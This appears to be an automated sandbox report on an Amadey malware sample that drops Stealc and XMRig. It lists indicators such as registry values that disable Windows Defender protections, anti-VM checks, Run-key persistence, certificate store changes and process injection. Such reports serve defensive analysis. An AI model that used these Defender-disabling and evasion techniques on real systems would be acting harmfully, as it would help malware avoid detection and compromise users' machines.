amadey | 0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	23d2380dd4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	23d2380dd4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	23d2380dd4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	23d2380dd4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	23d2380dd4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	23d2380dd4.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1bdca27f16.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	23d2380dd4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a5ed946195.exe

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral1/memory/2964-236-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-235-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-238-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-242-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-241-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-240-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-239-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-245-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2964-246-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1056	powershell.exe
2820	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 14 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a5ed946195.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rfopgxavqojn.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rfopgxavqojn.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	23d2380dd4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	23d2380dd4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a5ed946195.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1bdca27f16.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrone.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrone.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1bdca27f16.exe

Executes dropped EXE 12 IoCs

pid	Process
2836	skotes.exe
1724	crypted.exe
2936	crypted.exe
2848	crypted.exe
1420	crypted.exe
1248	crypted.exe
1200	chrone.exe
2804	a5ed946195.exe
760	1bdca27f16.exe
2384	23d2380dd4.exe
480	Process not Found
328	rfopgxavqojn.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Wine	23d2380dd4.exe
Key opened	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Wine	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
Key opened	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Wine	a5ed946195.exe
Key opened	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Wine	1bdca27f16.exe

Loads dropped DLL 19 IoCs

pid	Process
2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
2836	skotes.exe
2836	skotes.exe
1724	crypted.exe
1724	crypted.exe
1724	crypted.exe
1724	crypted.exe
3044	WerFault.exe
3044	WerFault.exe
3044	WerFault.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
2836	skotes.exe
480	Process not Found

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	23d2380dd4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	23d2380dd4.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\23d2380dd4.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1004971001\\23d2380dd4.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\a5ed946195.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1004968001\\a5ed946195.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\1bdca27f16.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1004969001\\1bdca27f16.exe"	skotes.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3016	powercfg.exe
792	powercfg.exe
864	powercfg.exe
2560	powercfg.exe
2472	powercfg.exe
1400	powercfg.exe
2896	powercfg.exe
2956	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	chrone.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	rfopgxavqojn.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
2836	skotes.exe
2804	a5ed946195.exe
760	1bdca27f16.exe
2384	23d2380dd4.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1724 set thread context of 1248	1724	crypted.exe	37
PID 328 set thread context of 2968	328	rfopgxavqojn.exe	100
PID 328 set thread context of 2964	328	rfopgxavqojn.exe	101

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2964-236-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-234-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-233-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-230-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-229-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-228-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-235-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-238-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-242-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-241-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-240-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-239-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-245-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2964-246-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2596	sc.exe
1540	sc.exe
552	sc.exe
2572	sc.exe
2672	sc.exe
2644	sc.exe
2592	sc.exe
1584	sc.exe
1624	sc.exe
2500	sc.exe
1888	sc.exe
2760	sc.exe
3004	sc.exe
2872	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3044	1724	WerFault.exe	32

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a5ed946195.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1bdca27f16.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	23d2380dd4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted.exe

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6014f7514c32db01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	notepad.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	crypted.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	crypted.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	a5ed946195.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	a5ed946195.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	crypted.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
2836	skotes.exe
2804	a5ed946195.exe
760	1bdca27f16.exe
1200	chrone.exe
2384	23d2380dd4.exe
2384	23d2380dd4.exe
2384	23d2380dd4.exe
1056	powershell.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
1200	chrone.exe
328	rfopgxavqojn.exe
2820	powershell.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
328	rfopgxavqojn.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe
2964	notepad.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	23d2380dd4.exe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeDebugPrivilege	1200	chrone.exe
Token: SeShutdownPrivilege	2472	powercfg.exe
Token: SeShutdownPrivilege	792	powercfg.exe
Token: SeShutdownPrivilege	2560	powercfg.exe
Token: SeShutdownPrivilege	864	powercfg.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	328	rfopgxavqojn.exe
Token: SeShutdownPrivilege	3016	powercfg.exe
Token: SeShutdownPrivilege	2956	powercfg.exe
Token: SeShutdownPrivilege	1400	powercfg.exe
Token: SeShutdownPrivilege	2896	powercfg.exe
Token: SeLockMemoryPrivilege	2964	notepad.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 2836	2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe	30
PID 2420 wrote to memory of 2836	2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe	30
PID 2420 wrote to memory of 2836	2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe	30
PID 2420 wrote to memory of 2836	2420	0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe	30
PID 2836 wrote to memory of 1724	2836	skotes.exe	32
PID 2836 wrote to memory of 1724	2836	skotes.exe	32
PID 2836 wrote to memory of 1724	2836	skotes.exe	32
PID 2836 wrote to memory of 1724	2836	skotes.exe	32
PID 1724 wrote to memory of 2936	1724	crypted.exe	34
PID 1724 wrote to memory of 2936	1724	crypted.exe	34
PID 1724 wrote to memory of 2936	1724	crypted.exe	34
PID 1724 wrote to memory of 2936	1724	crypted.exe	34
PID 1724 wrote to memory of 1420	1724	crypted.exe	35
PID 1724 wrote to memory of 1420	1724	crypted.exe	35
PID 1724 wrote to memory of 1420	1724	crypted.exe	35
PID 1724 wrote to memory of 1420	1724	crypted.exe	35
PID 1724 wrote to memory of 2848	1724	crypted.exe	36
PID 1724 wrote to memory of 2848	1724	crypted.exe	36
PID 1724 wrote to memory of 2848	1724	crypted.exe	36
PID 1724 wrote to memory of 2848	1724	crypted.exe	36
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 1248	1724	crypted.exe	37
PID 1724 wrote to memory of 3044	1724	crypted.exe	38
PID 1724 wrote to memory of 3044	1724	crypted.exe	38
PID 1724 wrote to memory of 3044	1724	crypted.exe	38
PID 1724 wrote to memory of 3044	1724	crypted.exe	38
PID 2836 wrote to memory of 1200	2836	skotes.exe	40
PID 2836 wrote to memory of 1200	2836	skotes.exe	40
PID 2836 wrote to memory of 1200	2836	skotes.exe	40
PID 2836 wrote to memory of 1200	2836	skotes.exe	40
PID 2836 wrote to memory of 2804	2836	skotes.exe	41
PID 2836 wrote to memory of 2804	2836	skotes.exe	41
PID 2836 wrote to memory of 2804	2836	skotes.exe	41
PID 2836 wrote to memory of 2804	2836	skotes.exe	41
PID 2836 wrote to memory of 760	2836	skotes.exe	42
PID 2836 wrote to memory of 760	2836	skotes.exe	42
PID 2836 wrote to memory of 760	2836	skotes.exe	42
PID 2836 wrote to memory of 760	2836	skotes.exe	42
PID 2836 wrote to memory of 1036	2836	skotes.exe	43
PID 2836 wrote to memory of 1036	2836	skotes.exe	43
PID 2836 wrote to memory of 1036	2836	skotes.exe	43
PID 2836 wrote to memory of 1036	2836	skotes.exe	43
PID 2836 wrote to memory of 2384	2836	skotes.exe	46
PID 2836 wrote to memory of 2384	2836	skotes.exe	46
PID 2836 wrote to memory of 2384	2836	skotes.exe	46
PID 2836 wrote to memory of 2384	2836	skotes.exe	46
PID 2272 wrote to memory of 1912	2272	cmd.exe	53
PID 2272 wrote to memory of 1912	2272	cmd.exe	53
PID 2272 wrote to memory of 1912	2272	cmd.exe	53
PID 2068 wrote to memory of 2704	2068	cmd.exe	84
PID 2068 wrote to memory of 2704	2068	cmd.exe	84
PID 2068 wrote to memory of 2704	2068	cmd.exe	84
PID 328 wrote to memory of 2968	328	rfopgxavqojn.exe	100
PID 328 wrote to memory of 2968	328	rfopgxavqojn.exe	100
PID 328 wrote to memory of 2968	328	rfopgxavqojn.exe	100
PID 328 wrote to memory of 2968	328	rfopgxavqojn.exe	100

C:\Users\Admin\AppData\Local\Temp\0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe
"C:\Users\Admin\AppData\Local\Temp\0a4334030875604a830af176f3e34aec1bd68558c1a50c78fe55c558e3824b6e.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2420
